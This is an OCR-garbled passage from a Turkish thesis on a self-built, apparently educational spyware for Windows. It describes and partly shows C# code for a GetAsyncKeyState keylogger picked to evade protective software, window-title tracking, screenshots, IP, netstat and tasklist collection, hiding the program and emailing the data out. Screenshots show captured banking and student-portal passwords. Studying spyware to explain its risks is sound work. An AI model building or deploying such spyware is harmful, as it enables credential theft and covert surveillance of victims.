Tug ve pencere bilgilerini banindiran Asil Kayit
yigini ile agik port bilgilerini, IP bilgilerini ve
uygulama bilgilerini déndiiren fonksiyonlar
cahstinlarak elde edilen bilgiler parametre

dosyasinda yer alan e-posta génderim

ybntemiyle parametre dosyasinda yer alan e-

posta adresine génderilir.

Asil Kayit Yigini

Elde edilen 60 sn'lik ses
kayitlan TEMP
klastriine kaydedilir

Elde edilen ekran
resimleri TEMP
klastriine kaydedilir

Ortam dinleme zamanlayicisi (_

v

60 sn araliklarla ortam ses kaydi
gergeklestiren fonksiyon galistirihir.

Sekil 3.3. (devam) Casus yazilim akis semasi

3.6. Casus Yazihhma Kazandirilacak Islevlerin Belirlenmesi

Gelistirilmis olan casus yazilim bu tiir zararli yazilimlarin siber giivenlik agisindan nasil

tehlikeler olusturabilecegi konusunda fikir verebilmesi amaciyla bazi ozellikler ile

donatilmistir. Bu 6zellikler basliklar halinde sunulmustur.
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3.6.1. Acik uygulama pencerelerine ait bilgilerin toplanmasi

Kullanicilar tarafindan hangi uygulamalari hangi saatte ne kadar silireyle agik tuttuklari
bilgileri casus yazilim gelistiriciler tarafindan takip edilmek istenebilmektedir. Gelistirilen
uygulamaya bu ozellik eklenmistir. Resim 3.1°de goriilebilecegi gibi kullanicinin agmis
oldugu "Internet Bankaciligi" web sayfasi bilgisi ardindan bilgisayarda bulunan
dosyalardan agmis oldugu resim dosyasina ait bilgiler ve bu resim dosyasini hangi program

araciligi ile agmis oldugu bilgileri casus yazilim tarafindan elde edilmistir.

o TUS KAYDEDICI - oIEl

Uygulama ve Tus Bilgiler

[ Zamanlayicilar

{ Ziraat Bankasi - Google Chrome 15.4.2014 22:38:33} Keaytiorm: Gondern I Sive. ) [256 773600

{ Hosgeldiniz | Ziraat Bankasi Internet Bankaciligi - Google Chrome 2 il s L
15.4 2014 22:38:36} Ekran Resimi Gekimi Siresi (sn) 257 / 200 Dur

{ Yuksek_Lisans_Tez_Taslag: [Uyumluluk Modu] - Microsoft Word
15.4.2014 22:38:40}

{ 2006 Eskigehir Anilar 15.4.2014 22:38:43} i

{ Ozel Resimim_jpg - Windows Fotograf Goruntaleyicisi PARAMETRE AYARLA | Parametreleri ayarama ekranini agar.
15.4.2014 22:38:46} Zamanlayiciy beklemeden

EPOSTA GONDER tim bilgileri gonderir
[ \ YAZILIMI GIZLE Yazlimin arka plana gegmesini saglar.

TEMIZLE | | BILGILERI KOPYALA Tekrar gostemnek icin ekran123yazn

Agk Uygulamalar/ IP Bigileri / Agk Portlar

Casus yazilim kullanicinin agmis oldugu
tiim pencere bilgilerini isletim sisteminden
alarak tarih ve saat bilgisi ile birlikte
depolar.

ACIK PORT, IP ve UYGULAMA Bilgilerini Getir TEMIZLE | | BILGILERI KOPYALA

Sistem Kaytlan (LOG)

Programin Calistidi Adres : ~
C:\Users\mehmet\AppData'\Local\Temp'cy.exe

Mail Zamanlayict 0 sn olarak ayarand:.

TEMIZLE | | BILGILERI KOPYALA

Resim 3.1. A¢ik uygulamalarin pencere bilgileri casus yazilim iizerinde gdsterilmesi

Resim 3.1’de de sunuldugu gibi agik pencere bilgisi “Windows” igletim sisteminde
bulunan “GetForegroundwindow()” ve “GetWindowText(...)” fonksiyonlar: araciliiyla
edinilmektedir. Ancak bu fonksiyonlardan gelen sonuglarin dogrudan kullanilmasi
miimkiin olmadigindan “Pencere.cs” smifi ve bu smif iginde iki adet fonksiyon

olusturulmustur;

“Aktif PencereyiDondur()” : Resim 3.2’de sunulan fonksiyonlar yardimiyla kullanicinin o
an {izerinde bulundugu pencereyi dondiiriir. Ornegin kullanic1 internet bankaciligi ile ilgili
bir web sayfasinda ise ilgili web sayfasinin bagliginda bulunan agiklama elde edilir veya

bir video oynatiliyorsa, oynatilan videonun ismi elde edilir.
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“DegisenPencereyiDondur()” : Casus yazilim yaklasik 100 mili saniyelik araliklarla
(saniyenin onda biri) pencere bilgisini sorgulayarak kayitlara ekler. Ancak kullanicinin
uzun siire bir pencere iizerinde ¢alismasi durumunda yazilim tarafindan ilgili pencereye ait
bilgi tekrar tekrar alinarak kayitlarin boyutunun artmasi ve okunurlugunun azalmasi riski
olusacaktir. Dolayisiyla “DegisenPencereyiDondur” fonksiyonu her 100ms’de bir, dnceki
Aktif Pencere bilgisi ile gilincel pencere bilgisini karsilastirir ve degisim varsa saat bilgisi
ile birlikte kaydini gerceklestirilir. Boylelikle 100ms’den kisa araliklt olmamasi kosuluyla

tiim pencere degisimleri takip edilebilmektedir.

] WindowsFormsApplicationt - Mi
File Edit View Refactor Project Build Debug Team Data Tools VYMware Test Window Help

Pl S | &9 - S5 b [Debug ]| [ [window - =
-j“%[‘\h_—uﬁ"rlzzli .|-;2|DJJ'JJJ-J<E||%".E$

*

PP Eﬁ e |ﬁi =

/_-:i Pencere.cs 3 W= parametreGirisForm.cs [Design] E_posta.cs Form1.Designer.cs Forml.cs

_' -

FRl % KLOGGER.Pencere | 5% Get
g using System.Text;|

using System.Windows.Forms;
using System.Runtime.InteropServices;

“Inamespace KLOGGER

{

= class Pencere

1
/a1t iki blok Agik Pencere bilgisini géstermek igin gereklidir
[011Import(“user32.dl1")]
static extern int GetForegroundWindow();

[D11Import(Muser32.d11")]
static extern int GetWindowText(int hWnd, StringBuilder text, int count);

public String gecerliPencere="";
public String benim_Form_Pencerem =

;3 //Kendi form ekranina ait caption set edilir

= public string Aktif_Pencereyi_Dondur()
1

const int nChars = 256;

Resim 3.2. Acik pencere bilgisini isletim sisteminden alan kodlar

Kullanicinin agmis oldugu uygulamalara ait bilgiler ile kullanici hakkinda asagidaki

bilgiler edinilebilir;

e Calismis oldugu bankaya ait bilgiler,
e Kisisel bilgiler (Seyrettigi filmler, Dinledigi miizikler...),
o Meslegi ile ilgili bilgiler (A¢mis oldugu ofis dosya isimlerinden),

e Kullanmakta oldugu sosyal aglar,
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Gibi daha bir¢ok konuda kullanict hakkinda bilgi edinilebilir.

3.6.2. Basilan tuslarin kayitlanmasi (Keylogger)

Kullanicilar agisindan en biiyiik bilgi giivenligi tehditlerinden birisi, basilan tuslarin
kaydedilip baska kisilerin eline gecmesidir. Clinkii kullanicilar; sifreleri, 6zel yazigsmalari,
mesleki yazigsmalari, arama motorlar1 ile yaptigi aramalar1 ve daha bir¢ok islemi klavye

tuslarini kullanarak yapmaktadirlar.

Yazilimsal tus kaydedici gelistirme yontemleri Bolim 2.2.5’te sunulmustur. Bu
yontemlerden Windows klavye cengeli (Hook) yontemi yaygin olarak kullanilmaktadir
[35]. Koruyucu yazilimlar, bilinen yontemleri kullanan zararli yazilimlari kolay tespit
edebildiklerinden bu calisma kapsaminda gelistirilen casus yazilimin tus kaydedici
ozelliginin saglanmasi i¢in Boliim 2.2.5’te sunulan yontemlerden farkli olarak Windows
isletim sistemleri icinde yer alan ve oyun programlamada kullanilabilen
“GetAsyncKeyState” fonksiyonu kullanilarak bir siif gelistirilmistir. Bu fonksiyon,
klavye durum tablosu yonteminde oldugu gibi Windows mesaj kuyruguna bakmaz, tuslara
basildigi miiddetce deger dondiirmektedir. Bu nedenle nadiren isletim sisteminin
yorumladigi  basilan tus  bilgilerinden farkli  sonuglar iretilebilir.  Ayrica
“GetAsyncKeyState” fonksiyonu ¢engel (hook) yonteminde oldugu gibi kendisini herhangi
bir igletim sistemi altyordamina kaydettirmez. Klavye durum tablosu yontemi Sadece
Capslock ve Numlock tuslarinin statiisiiniin alinmast igin kullanilmistir. Siiriicti gelistirme

yontemi ise her donanim i¢in ayr1 tasarim gerektirdiginden kullanilmamugtir.

Tus kaydetme 6zelligi Boliim 3.6.1°de ifade edilen acik uygulama bilgilerinin gdsterilmesi
ozelligi ile entegre olarak calismaktadir. Bu entegrasyon sonucunda Resim 3.3’te
goriilebilecegi gibi (agiklamalar ekran goriintiisii lizerine islenmistir) hangi pencere acik
iken hangi tuslara basildig: bilgisi edinilmektedir. Bu sekilde yazilan bir sifrenin elektronik
posta adresine ait bir sifre mi yoksa internet bankaciligi uygulamasina ait bir sifre mi

oldugu kotii niyetli kisiler tarafindan ayirt edilebilir.
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= TUS KAYDEDICI - o

Uygulama ve Tus Bilgileri

{ Hosgeldiniz | Ziraat Bankasi internet Bankacilig: - __og!g_Chrome Zetaiayci

27. 2013}\%;47%44_903&%5?3]__” ‘%lnt w) Kaytlann Génderimi igin Siire (sn) 3421 / 3600 A
x Parola ve SMS Sifresi __/ Ekran Resimi Cekimi Stresi (sn) Dur

{ Ziraat internet Bankaeihg: - Google Chrome 272014

12:55:09}

{ Ogrenci icin Sistem Girisi - Google Chrome 2.7.2014 Hyalr

12:55:30} 128004205[TAB|ceeses o
_Ogrenci No ve Sifre _::,\

12:55:40}

TEMIZLE | | BILGILERI KOPYALA

Agk Uygulamalar/ IP Bilgiler / Agk Portlar

ACIK PORT, IP ve UYGULAMA Bilgilerini Getir | | TEMIZLE | | BILGILERi KOPYALA

Sistem Kayitlan (LOG)

Programin Gahstidi Adres :
C:\Users\mehmet\AppData'\Local\Temp\cy.exe

Mail Zamanlayic: 0 sn olarak ayardand:.

TEMIZLE | | BILGILERi KOPYALA

{ Ogrenci Isleri Bilgi Sistemi - Google-Chrome 272014

PARAMETRE AYARLA Parametrelen ayarlama ekranini agar.

Zamanlayiciy beklemeden
EPOSTA GONDER tim bilgileri gonderir

Yazlimin arka plana gegmesini sadlar.

YAZILIMI GIZLE Tekrar gostermek igin ekran123 yazin

‘Agtk uygulamalara (pencere) ait bilginin hemen
ardindan eger basilan tus varsa basilan tuslara
ait bilgiler ilgili uygulamanin hemen altinda

belirtilmistir. Bu sekilde hangi uygulamada
hangi tusa basilabildigi anlagilabilmektedir.

/

Resim 3.3. Basilan tus bilgilerinin kaydedilmesi (KEYLOGGER o6zelligi)

Bir bankaya ait internet bankaciligi sayfasinda basilan tus bilgilerinin (6rnek bir parola

girilmistir) casus yazilim tarafindan elde edilebildigi Resim 3.3’te goriilmektedir. Benzer

sekilde tliniversite dgrenci isleri bilgi sistemi hesabina girisi saglayan web ara yiiziinden

girilen bilgilerin de elde edilebildigi goriilmektedir. Ayrica tus kaydedici yazilimlar i¢in bir

onlem olabilecegi diistiniilen Windows isletim sistemlerinde yer alan “Ekran Klavyesi”

uygulamasi ile basilan tuslarinda bu calisma kapsaminda gelistirilen casus yazilim

tarafindan izlenebildigi de gorilmistiir.

Kullanicinin agmis oldugu pencere bilgileri yaninda basilan tus bilgilerinin de

kaydedilmesi sonucu asagidaki bilgiler casus yazilim tarafindan elde edilebilir;

e Eposta kullanici adlar1 ve parola bilgileri,

e Kredi kart1 bilgilerinin girilerek aligveris yapilmasi sonucu kredi kart1 bilgileri,

e Fikri ve simai haklar1 barindiran dokiimanlar,

e Kigsisel yazismalar (sosyal medya, eposta vb.) bilgiler casus yazilim tarafindan elde

edilebilir.
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Ancak bazi kurumlarin kendi sanal klavye ara yiizlerini olusturmasi ile yukaridaki bazi

bilgilerin casus yazilim tarafindan elde edilmesi engellenebilir. Ornegin parolalar, kredi

kart1 bilgileri gibi.

Pencere.cs Properties parametreGirisForm.cs [Design] E_posta.cs Form1.Designer.cs Forml.cs Forml.cs [Design] parametreGirisForm.cs

% KLOGGER.Tus ~| 5" GetAsyncKeyState(System. Windows.Forms.Key
using System.Windows.Forms;
using System.Runtime.InteropServices;

X0g|00] gy,

—Inamespace KLOGGER

{

= class Tus
{
/f Alt iki blok GetAsyncKeyState icin
[D11lImport("User32.d11"}]
private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration
[011lImport(“User32.d11")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
[D11lImport(“user32.d11", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
public static extern short GetKeyState(int keyCode);

public String GeciciKayityigini="";

bool isCapslock = (((ushort)GetKeyState(@x14 /*VK_CAPITAL®/)) & e8xffff) != a;
bool isNumLock = (((ushort)GetKeyState(@x9@ /*VK_NUMLOCK*/)) & exffff) != @;
bool bas_shift;

bool bas_altgr;

Resim 3.4. Basilan tus bilgilerini isletim sisteminden alan fonksiyonlar

Resim 3.4’te goriilecegi lizere casus yazilim basilan tus bilgilerini elde edebilmek igin bazi

isletim sistemi fonksiyonlarimi kullanmasi gerekmektedir. Bu fonksiyonlar su sekildedir;

“GetAsyncKeyState (System.Int32 vKey)” : Bu fonksiyon 0-255 arasinda olmak kaydiyla
her bir tusa karsilik gelen “ascii” degeri parametre olarak almaktadir. Parametre olarak
alinan numaranin karsilik geldigi tusun basili olup olmadigi “short” formatinda
dondiirdiigli deger ile ifade edilir. Ancak donen deger yorumlanmaya ihtiya¢ duyan bir
degerdir. Ayrica her bir klavye diigmesinin kontrol edilebilmesi i¢in belirli bir algoritmaya
uygun olarak tiim 255 deger bir dongii ile kontrol edilmelidir. Bununla birlikte baz1 6zel
tuglar  i¢in  belirli  kosullar1  igeren  kontroller ~ gerekmektedir.  Ornegin
GetAsyncKeyState(65) fonksiyonu kontrol edildiginde basildigina isaret eden deger
dontiyorsa “a” tusuna basildig1 anlami ¢ikartilabilir. Ancak “CapsLock™ tusu aktif ise veya
aym anda “Shift” tusu basili ise gercekte bilyiik “A” karakterine basiliyordur. Bir Isletim
sistemi fonksiyonu olan “GetAsyncKeyState” bir parametre almakta olup sadece “short”
tiirlinde bir say1 dondiirmektedir. Ancak bu casus yazilim ile hedeflenen klavyeden girilen
bilgilerin dogru sekilde alinmasidir. Beklenen islevi gergeklestirmek igin gelistirilen

onemli fonksiyonlar su sekildedir;

“Basilan_Tusu_Dondur ()” : “Timer” nesnesi kullanilarak bu fonksiyon her 100 mili

saniyede bir cagrilmaktadir. Her ¢agrildiginda “0” ile “255” degerlerini parametre olarak
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GetAsyncKeyState fonksiyonuna gonderir ve gelen degerin “1” veya “-32767” olmasi
durumunda ilgili parametre degerine karsilik gelen tusun basili oldugu anlasilir. Bununla
birlikte basilan tusun beraberinde basilan diger tuslarla birlikte degerlendirilmesi
gerekmektedir. Ornegin klavyede bulunan “1” tusuna basildiginda “shift” tusu da kontrol

‘6'9’

edilmeli ve eger “shift” tusu da basili ise aslinda simgesine basildig1
degerlendirilmelidir. Bu fonksiyon gergeklestirdigi kontrollerden dolayr casus yazilim

icindeki en fazla satira sahip olan fonksiyondur.

“Basilan_Tusu_Yigina Aktar()”: Basilan her tus bu fonksiyon araciligi ile, bir karakter
dizisinin en sonuna eklenir. Ancak bu fonksiyonun 6nemli bir diger 6zelligi ise normal
klavye kullanimi esnasinda yazilan bir karakterin “Backspace” tusu ile silinmesi
durumunu, son girilen karakter(ler)in olusturulan karakter dizisinden silinmesini
saglayarak casus yazilim kayitlar1 ile gergek klavye kullanimmin tutarli olmasini

saglamasidir.

3.6.3. Yerel IP ve Genel IP bilgilerinin edinilmesi

Casus yazilim gelistiricilerin 6grenmek isteyebilecekleri bir diger bilgi IP bilgisidir. IP

numarasini temel olarak iki gruba ayirabiliriz.

e Yerel IP Adresi: Dis diinyadan (Internet) bagimsiz olarak bir giivenlik duvari veya
bir modemin arkasinda bilgisayara verilen IP adresidir. Bu IP adresi iiniversite vb.
kuruluslarda kurumun kendi belirleyecegi standartlar ile olusturulan IP verme
sistemidir. Ornegin Bilisim Enstitiisii i¢in "10.1.x.x" blogu verilirken Miihendislik
Fakdiltesi i¢in 10.2.x.x" blogunun verilmesi gibi. Ancak iki blogun da dis diinyaya
baglanmirken kullandiklar: IP adresi Universite'ye ait IP adresidir. Sekil 3.4'te
"10.0..." ile baglayan IP adresleri yerel IP adreslerine 6rnek olarak gosterilebilir.

e Genel IP Adresi: Internet servis saglayicilarin kisi veya kurumlara vermis olduklar
Internet {izerinden kurulan iletisimlerde karsi tarafin da gordiigii IP adresidir.
Bilisim suglar1 islendiginde c¢ogunlukla Genel IP adresi iizerinden suglulara
ulagilmaktadir. Genel IP adreslerini 68renmek ic¢in c¢esitli web siteleri
bulunmaktadir. Ornegin www.iplocationfinder.com , www.whatismyip.com gibi
web sayfalarindan genel IP adresi 6grenilebilmektedir. Ayrica Genel IP adresi
kullanilarak kisilerin yaklasik konumlar1 hakkinda bilgi edinilebilmektedir. Sekil
5.3'te 125.35.48.166 olarak ifade edilen IP adresi Genel IP adresine bir drnektir.


http://www.iplocationfinder.com/
http://www.whatismyip.com/
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Sekil 3.4. Yerel IP ve Genel IP 6rnek semasi

Gelistirilmis olan egitim amagl casus yazilim uygulamasina hem Genel IP adresini hem de
yerel IP adresini belirleme 6zelligi eklenmistir. Genel IP bilgileri kullanilarak kullanicinin
eger kurumsal bir ag iizerinden Internet'e ¢ikiyorsa hangi kurumda bulundugu hakkinda,
eger kisisel amacli Internet kullaniyorsa bulundugu konum hakkinda yaklasik bir tahminde

bulunulmasi saglanabilmektedir.

Ayrica kullanicidan alinan yerel IP bilgileri araciligiyla kullanicinin kurumsal IP
yapilanmasinda ki konumu hakkinda fikir edinilebilir. Ornegin Yerel IP blogu bilgisi

kullanilarak tiniversitenin hangi boliimiinde oldugu 6grenilebilir.

Programin e-posta yoluyla gonderdigi bilgilerde, casus yazilimin edindigi IP bilgileri de
yer almaktadir. Resim 3.5’te goriilebilecegi gibi "GERCEK IP ve YER BILGILERI"
baghiginda Genel IP bilgisi ile birlikte yaklasik konum bilgisi de yer almaktadir.
"BILGISAYAR YEREL IP BILGILERI" bashgmnda ise “Windows komut terminali
iizerinden yerel IP bilgilerini detaylar1 ile sunan "ipconfig /all" komutunun ¢iktis1 casus
yazilim tarafindan edinilmektedir. Yerel IP bilgileri alinirken“IPV6” standardi bilgisayar
tarafindan destekleniyorsa edinilen IPV6 adresi de casus yazilim kayitlarina da eklenir.

Yerel ve Genel IP adreslerine ait casus yazilim kayitlarinin detaylar1 EK-1’de sunulmustur.
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@‘r’eni Yanitla[v Sl Argivle Gereksiz |v Siplr Surayatag:v Kategorilerv e«

Casus Yazilim Raporu web Uzerinden 12.4.2014 20:02:11

GERCEE IP ve YER BILGILERT
IP: 35.5.87.183

Hostname: 55.5.87.185.dynamic.ttnet.com.tr
ISP: Turk Telekom
Crganization: Turk Telekom
City:

Eegion:

Country: Turkey

Timezone:

Longitude: 35.000000
Latitude: 35%.000000

Resim 3.5. Eposta adresine gonderilen "Gergek Ip ve Yer Bilgisi" kaydina ait goriintii

Casus yazilim gelistiricisinin ihtiya¢ duyabilecegi bir¢ok bilgi Windows komut terminali
ile elde edilebilecek bilgidir. Ornegin yukarda bahsedilen “ipconfig /all" gibi bir komut ile
yerel ip bilgileri elde edilebilir. Resim 3.6’da Windows komut satirina komut gonderip
sonuglarin1 casus yazilima aktaran ‘“shellKomutuCalistir()” fonksiyonuna ait kodlar
sunulmustur. S6z konusu fonksiyona "ipconfig /all" gibi komut ve parametreler

gonderilerek cesitli sistem bilgileri elde edilebilmektedir.
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Properties Pencere.cs parametreGirisForm.cs [Design] Wl c Rl Forml.Designer.cs

4% KLOGGER.E_posta -| "% she

- public string shellKomutuCalistir({string komut, string parametre)
f // Setup the process with the ProcessStartInfe class.
string sonuc="";
ProcessStartInfo start = new ProcessStartInfo();
start.FileName = Envircnment.SystemDirectory + @"\" + komut; // Specify exe name.
start.Arguments = parametre;
start.CreateNoWindow = true;
start.UseShellExecute = false;
start.RedirectStandardOutput = true;
//{ Start the process.
using (Process process = Process.Start(start))
{ // Read in all the text from the process with the StreamReader.
using (StreamReader reader = process.StandardOutput)
1
string result = reader.ReadToEnd();
sonuc += result + "\n";

h
h

return sonuc;
}//end of shellKomutuCalistir

Resim 3.6. Windows komut terminaline komut gondererek sonuglarini alan fonksiyon

3.6.4. Acik port bilgileri ve kurulan ag baglanti bilgilerinin edinilmesi

Ag portlar1 programlarin ag {zerinden iletisim gergeklestirdikleri ge¢is kapilaridir.
Herhangi bir program disardan erisim beklediginde bir ag portunu kendisine tahsis eder ve
ilgili porttan gelecek iletisimi bekler. Ornegin “MYSQL” veritaban1 sunucu servisi 3309
numarali portu dinlemeye acarak gelen baglantilar1 bekler. Programlar igin gerekli olan
acik ag portlart ayn1 zamanda onemli bir giivenlik agig1 olarak da goriliir. Ciinkii agik

portlar yetkisiz kisilerin sisteme girebilecekleri bir kap1 gorevi de gorebilirler.

Mevcut ag baglantilar1 da kullanic1 hakkinda énemli bilgiler verir. Ornegin bir kullanicinin
herhangi bir IP adresi ile 3309.port numarasi iizerinden iletisime ge¢mesi o kullanicinin
yiiksek ihtimal ile bir MYSQL veritabani ile baglanti kurdugunu gosterir. Ozellikle
kurumsal bir yerde MYSQL veritabanina ait IP bilgisinin saklanmas1 gerektigi g6z oniine
alindiginda kullaniciya ait yapilmis baglantilarin  bilgilerinin  6nemi daha 1iyi
anlagilmaktadir. Sunucu IP adresleri, iletisim kurulan ag portlar1 gibi bilgiler kurumsal

sistemlerde kritik olarak degerlendirilirler.
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6543 SYN_SENT

©.0.0:8 LISTENING
157.56.124.79:443 ESTABLISHED
192.241.163.68:443 CLOSE_WAIT
23.59.51.51:443 CLOSE_WAIT
77.234.43.65:88 ESTABLISHED
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157.56.122.289:443 ESTABLISHED

23.59.59.120:443 ESTABLISHED
144.76.38.180:8@ ESTABLISHED
144.76.38.189:8@ ESTABLISHED

192.168.56.1:139 ©.2.9.9:@ LISTENING
192.168.56.1:445 192.168.56.1:58516 ESTABLISHED
192.168.56.1:58516 192.168.56.1:445 ESTABLISHED
192.168.174.1:139 ©.2.2.0:2 LISTENING
192.168.232.1:139 2.2.9.0:2 LISTENING

[::]:235 [::]:© LISTENING
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Sekil 3.5. Casus yazilimin sistemden edindigi ag ve port bilgilerine ait bir 6rnek

Casus yazilim yukarda ifade edilen ag port bilgileri ile kurulan iletisim bilgilerini

“shellKomutuCalistir()” fonksiyonunu kullanarak sisteme "netstat -an" komut ve
parametresini gonderir. “netstat” komutu “-an” parametresi ile kullanildiginda bilgisayarda
dinleme durumunda bulunan port bilgilerini, kurulu olan ag baglant1 bilgilerini (yerel ip,
yerel port, karsi tarafa ait IP ve karsi tarafa ait port bilgileri ile birlikte) dondiiriir. Casus
yazilimin kurulu oldugu bilgisayarda IPV6 ag1 mevcutsa ayn tiir bilgiler IPV6 ag1 i¢inde

elde edilmektedir. Dénen bu bilgiler bilgisayara ve bilgisayarin iletisim ic¢inde oldugu
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aglara ait kritik bilgiler saglar. Sekil 3.5’te casus yazilim tarafindan yukarida ifade edildigi

sekilde elde edilerek eposta ile iletilen 6rnek bilgiler sunulmustur. Casus yazilimlar bu gibi

bilgileri elde ederek asagidaki riskleri olustururlar;

Girilen web sayfalarina ait IP bilgileri aracilig1 ile hangi web sitelerine girildigi
bilgisi edinilebilir

Acik ag portu Dbilgilerinin elde edilmesi ile acgik portlar {izerinden
gerceklestirilebilecek saldirilara maruz kalinma riski mevcuttur,

Port bilgileri aracilif1 ile bilgisayarin ne tiir sunuculara bagli oldugu bilgisi
edinilebilir. Ornegin bilgisayar ag iizerinden baska bir bilgisayara 1521 numarali
port lizerinden baglaniyor ise karsi bilgisayarin yiiksek olasilikla “Oracle”
veritabani sunucusu oldugu bilgisine ulagilabilir. Sonug olarak 6zellikle kurumsal
aglarda aga bagl bir bilgisayar {lizerindeki casus yazilim ile s6z konusu kurumsal
agda bulunan onemli sunuculara ait bilgiler (ne tlir sunucular olduklari, hangi

portlar1 kullandiklar1 vb.) elde edilebilir,

3.6.5. Cahlisan uygulama bilgilerinin edinilmesi

Casus yazilim gelistiricilerinin elde etmek isteyebilecekleri bir diger bilgi tiirii ise ¢alisan

uygulama bilgileridir. Windows isletim sistemi kullanicilarinin “CTRL+ALT+DEL” tus

kombinasyonu ile ulastiklar1 “Goérev Yoneticisi” yazilimi araciligiyla ¢alisan uygulamalara

ait bilgiler elde edilebilmektedir. Gelistirilen casus yazilim ‘““shellKomutuCalistir()”

fonksiyonu araciligr ile Windows komut terminaline “tasklist” komutunu gondererek

calisan uygulama bilgilerini elde eder.
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ACIK UYGULAMALAR

Image Name PID Session Name Session# Mem Usage
System Idle Process @ Services 2 20 K
System 4 services 2 3.636 K
SMSS.exe 328 Services 2 784 K
Csrss.exe 680 Services e 3.832 K
wininit.exe 756 Services 2 972 K
services.exe 860 Services 2 8.412 K
1sass.exe 868 Services 2 9.184 K
svchost.exe 972 Services 2 6.656 K
svchost.exe 124 Services 2 7.496 K
atiesrxx.exe 620 Services 2 928 K
svchost.exe 672 Services 2 19.876 K
svchost.exe 649 Services 2 44,792 K
svchost.exe 1e4g8 Services 2 16.928 K
svchost.exe 1184 Services 2 79.748 K
svchost.exe 148@ Services 2 14.268 K
spoolsv.exe 1596 Services 2 3.820 K
svchost.exe 1672 Services 2 26.536 K
NetworkLicenseServer.exe 1848 Services 2 3.924 K
apnmcp.exe 196@ Services 2 2.196 K
HuaweiHiSuiteServiceesd.ex 2832 Services e 1.124 K
dasHost.exe 1888 Services 2 6.968 K
e cdseryer axe dE2s saryices 2 1.6

Sekil 3.6. Casus yazilimin sistemden edindigi uygulama bilgilerine ait bir 6rnek

Casus yazilimin “tasklist” komutunu “shellKomutuCalistir()” fonksiyonuna gondererek
elde etmis oldugu uygulama bilgilerinin bir kismina ait 6érnek Sekil 3.6’da sunulmustur.
Elde edilen bu bilgiler casus yazilim tarafindan gelistiricisinin tanimlamis oldugu eposta

adresine gonderilir.

Bilgisayarda ¢alisan uygulama bilgilerinin ele gegirilmesi 6zellikle kurumsal yerlerde
calisan kullanicilarin islerine 6zgii kullandiklar1 uygulamalarin  neler oldugunun
anlasilmast riskini olusturur. Ornegin “devenv.exe” uygulamasmin calistyor olmasi
kullanicinin = “Visual Studio” ortaminda gelistirme yapiyor oldugunu, “toad.exe”
uygulamasinin ¢alistyor olmasi kullanicinin yiliksek ihtimal ile “Oracle” veritabani ile

calistiginin anlasilmasina neden olur.

3.6.6. Bilgisayar ekran goriintiilerinin elde edilmesi

Kullanicilar i¢in ©6nemli risklerden birisi de bilgisayar ekran goriintiilerinin ele
gecirilmesidir. Temelde kullanicinin kendi istegi ile “PrintScreen” tusuna basarak
bilgisayarin o anki ekran goriintiisiiniin hafizaya alinmasini ve daha sonra kullanilmasini
saglayan Ozellige benzer olarak casus yazilimlarin ekran goriintiisiinii kullanicinin istegi

disinda elde ettikleri bilinmektedir. Elde edilen bu goriintiiler e-posta veya internet
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iizerinden casus yazilim gelistiriciye ulastirilabilecegi gibi, bilgisayarda gizli bir klasdrde

saklanmast da mimkiindiir.

Egitim amach gelistirilen casus yazilimda ekran goriintiisiiniin elde edilebilirliginin
kanmtlanmasi  amaglandigindan  elde edilen  goriintiler e-posta  adreslerine
gonderilmemektedir. Bunun yerine Bolim 2.2.4°te de ifade edilen DUQU yaziliminin
kullandig1 yonteme benzer bir sekilde, elde edilen resimler isletim sisteminin “%TEMP%”

klasoriine kaydedilmektedir. Resim 3.7’de kaydedilen resimlere ait bir 6rnek sunulmustur.
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Resim 3.7. "TEMP" klasoriine kaydedilen 6rnek ekran goriintiisii

Casus yazilimin parametre ayarlama ekraninda belirtilen sikliklarla ekran resmi gekilir ve
kaydi gerceklestirilir. Ekran resimlerine ait dosya isimleri c¢ekildikleri tarth ve saat
bilgisinden olusmaktadir. Boylece incelenmek istediklerinde sistematik bir sekilde
incelenmeleri miimkiin olabilir. Casus yazilimlar tarafindan Ekran resimlerinin elde

edilmesi kullanicilar agisindan asagidaki riskleri olusturmaktadir;

e Kullanicilarin klavye bilgi girisi gerektirmeyen dokiiman inceleme, e-posta okuma,
web sayfasi inceleme gibi ¢aligsmalar1 esnasinda, incelenen dokiimanlarin ekran
gorilintiilerinin casus yazilim gelistiricilerin eline gegme riski bulunmaktadir,

e Kigilere ait video, resim gibi multimedya unsurlarina ait ekran goriintiilerinin ele

gecme riski bulunmaktadir,
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e Sahipleri agisindan kritik olabilecek proje, ¢izim, tasarim gibi galismalarin ele
gecirilebilmesi riski bulunmaktadir,

e Son zamanlarda “keylogger” yazilimlari i¢in bir onlem olarak gelistirilen sanal
klavye wuygulamalarindan yeterince giivenli olmayan sanal klavyeler ile
gerceklestirilen islemlerin takip edilebilme riski bulunmaktadir. Ornegin sanal
klavye uygulamasi her diigmesine basildiginda tuslar1 gizleme ve sonrasinda tus
kombinasyonunu degistirme Ozelligi barindirmiyorsa, sanal klavye uygulamasi
casus yazilimin ekran ¢ekme Ozelligine karsi etkisiz kalacaktir. Casus yazilim
gelistiricilerin bankacilik aktivitelerini hedef aldigr durumda (Acik pencere baglik
bilgisi i¢inde “bank”, “banka” gibi kelimelerin gectigi durumlart kontrol eden
algoritmalar ile) ekran resim ¢ekme sikligini oldukga arttirabilecekleri ve bu sekilde

sanal klavye giivenligini asabilecekleri dikkate alinmasi gereken bir durumdur.

3.6.7. Toplanan bilgilerin e-Posta veya web iizerinden gonderilmesi

Casus yazilimlar, gelistirilme amaclar1 geregi edindikleri bilgileri yazilimcilarina gesitli
yontemlerle gonderirler. Aksi halde toplanan bilgiler yazilimcist (veya kullanmakta olan
siber suclu) tarafindan kullanilamayacagindan herhangi bir anlam ifade etmeyecektir. Bu
kapsamda bir¢ok casus yazilimm kullandigi yontem olan bilgileri e-posta iizerinden
gonderme Ozelligi bu ¢aligma kapsaminda gelistirilen uygulamaya eklenmistir. Casus
yazilim ¢ekilen ekran goriintiisii disindaki tim topladigi bilgileri e-posta ile

gondermektedir.

E-posta gonderiminde yaygin olarak kullanilan 25 numarali port, kimlik dogrulamasini
zorunlu tutmadigindan “SPAM” olarak ifade edilen istem dis1 e-postalarin génderimi i¢in
kullanilmaktadir. Ancak iilkemizde internet servis saglayicilifi hizmeti veren TTNET,
VODAFONE gibi firmalar yaptiklart duyurular ile Bilgi Teknolojileri Kurumu (BTK)
koordinasyonu neticesinde “SPAM” e-posta ile miicadele etmek ig¢in “25 numaral
